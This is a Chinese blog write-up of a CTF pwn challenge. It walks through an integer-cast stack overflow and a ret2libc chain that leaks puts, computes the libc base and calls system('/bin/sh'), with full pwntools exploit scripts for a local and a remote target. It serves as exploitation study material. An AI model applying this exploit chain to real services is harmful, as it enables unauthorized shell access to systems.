果砸的博客

果砸的博客

SHCTF [Week1] [PWN] No stack overflow2

PWN
375
2024-10-12

题目信息

image-wlbl.png

--->点击此处下载附件<---

一、checksec 查看保护机制

image-hnih.png

No canary found,考虑栈溢出
NX enabled,堆栈中代码不可执行
No PIE,未启用地址随机化


二、Ida 反编译代码

image-nlcw.png

image-uspt.png

main函数执行流程分析

  1. 先输入size
  2. 对size大小进行判断,不得大于256
  3. 读入size个字节的字符串

可疑点

  1. nbytes 在第15行强行转换为 unsigned int 类型(众所周知负数转换为无符号整数时会变成极大的正数,此处可以用来栈溢出)

解题思路

  1. 可以将 size 设为负数(本文设为 -1),进行栈溢出
  2. 没有明显的后门函数和"/bin/sh"字符串,无法使用 ret2text
  3. NX 开启,无可读可写可执行段,放弃 ret2shellcode
  4. 使用 ROPgadget 发现很少的 ROP 片段,无法支撑 ret2syscall
  5. 考虑 ret2libc
  6. 由于 libc 的延迟绑定机制,main 函数中 puts 函数多次执行,考虑泄露 puts 真实地址来计算基址
  7. 利用基址和偏移算出 libc 中 system 函数和 "/bin/sh" 字符串的真实地址
  8. 构造返回语句调用 system 函数执行 shell 命令

三、编写可以打通本地的 exp

from pwn import *
io = process("./vuln1")

elf = ELF("./vuln1")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
offset = 0x104 - 4 + 8 # 264的偏移量
pop_rdi = 0x401223
ret = 0x40101a
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols["_start"]

# 第一段payload
payload1 = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start_addr)

io.recvuntil(b"size: ")
io.sendline(b"-1")
io.recvuntil(b"input: ")
io.send(payload1)

#计算地址
puts_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = puts_addr - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

# 第二段payload
payload2 = offset * b'a' + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
#print('puts_addr:', hex(puts_addr))
#print("system_addr:", hex(system_addr))

io.recvuntil(b"size: ")
io.sendline(b"-1")
io.recvuntil(b"input: ")
io.sendline(payload2)

io.interactive()

构造第一段 payload

这里需要注意,64位程序和32位程序有比较大的区别,32位程序函数参数是通过栈来传参,我们只需要构造一个栈结构即可;64位程序函数参数是通过寄存器来传参,因此,我们需要用到 ROPgadget 来给寄存器赋值

64位程序传递参数的寄存器一共有六个,如果函数参数大于六个,后面的参数才会入栈,寄存器传参顺序为:rdi rsi rdx rcx r8 r9

  1. 先将puts函数的唯一参数(也就是我们想要泄露的puts真实地址——puts@got)放入寄存器rdi
  2. 紧接着调用 puts 函数,也就是 puts@plt
  3. 最后接上 puts 函数的返回地址(这里我们选择 _start 函数,也就是程序的入口位置。选这个地址的原因是,我们 read 执行完之后成功泄露出了 puts 的真实地址,我们还需要利用它获取 shell。所以这里我们重新回到程序入口从头执行一遍程序,又可以得到一次溢出的机会,又可以溢出一次,这次就用来调用 system 获取 shell。这也就是为什么说是构造第一段 payload 了)

这样我们第一次溢出的 payload 就出来了

payload1 = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start_addr)

offset 的计算方法

字符串存入的地址是 nbytes_4 也就是高 nbytes 4个字节的位置,而 nbytes 的地址是 -0x104,s 占8个地址。

offset = 0x104 - 4 + 8   # 264的偏移量

将参数放入 rdi 寄存器的方法

我们利用 ROPgadget 工具来查找 ROP 片段

ROPgadget --binary 'vuln1' --only "pop|ret"

image-jnmv.png

我们需要的是 rdi 所以选取 0x0000000000401223 : pop rdi ; ret 这一片段,并获取它的地址。

pop_rdi = 0x401223

利用泄露的 puts 地址计算 libc 中 system 和 "/bin/sh" 的地址

system 函数属于 libc,而 libc.so 单个链接库内部的函数之间相对偏移是固定的

查看链接的 libc 版本并加载链接库
ldd vuln1

image-qvdu.png

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
计算 libc 基址
libc_base = puts_addr - libc.symbols["puts"]
计算 system 函数和 "/bin/sh" 字符串的地址
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

处理泄露出来的 puts 函数真实地址

地址后三位16进制是固定的

puts_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))

构造第二段 payload

  1. 将 "/bin/sh" 当作参数放入到寄存器 rdi 中
  2. 调用 system 函数
  3. 由于相当于开启了一个新的 shell 会话,所以不用考虑 system 的返回地址了
  4. 考虑到堆栈平衡,我们应在最开始调用一次 ret 来平衡堆栈

堆栈平衡:
当我们在堆栈中进行堆栈的操作的时候,一定要保证在 RET 这条指令之前,esp 指向的是我们压入栈中的地址,函数执行到 ret 执行之前,堆栈栈顶的地址 一定要是call指令的下一个地址。

这样我们第二次溢出的 payload 就出来了

payload2 = offset * b'a' + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

ret 地址获取

同样的我们使用 ROPgadget 工具,选择 0x000000000040101a : ret 片段,得到 ret 地址

ret = 0x40101a

打通远程

本地的 exp 直接连接远程端是打不通的,猜测是 libc 版本不同的原因。尝试 LibcSearcher 无果,于是手动搜索对应版本。
一一尝试,手动替换libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")中的 libc 文件,最后试出对应的远程 libc 版本,如下图。

此处给出两个搜索 libc 版本的网站

  1. libc-database
  2. libc database search

image-dylz.png

image-khtk.png


最终exp

from pwn import *

io = remote("remote_ip",xxxxx)

elf = ELF("./vuln1")
libc = ELF("./libc6_2.35-0ubuntu3.8_amd64.so")
offset = 0x104 - 4 + 8 # 264的偏移量
pop_rdi = 0x401223
ret = 0x40101a
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols["_start"]

# 第一段payload
payload1 = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start_addr)

io.recvuntil(b"size: ")
io.sendline(b"-1")
io.recvuntil(b"input: ")
io.send(payload1)

#计算地址
puts_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = puts_addr - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

# 第二段payload
payload2 = offset * b'a' + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
#print('puts_addr:', hex(puts_addr))
#print("system_addr:", hex(system_addr))

io.recvuntil(b"size: ")
io.sendline(b"-1")
io.recvuntil(b"input: ")
io.sendline(payload2)

io.interactive()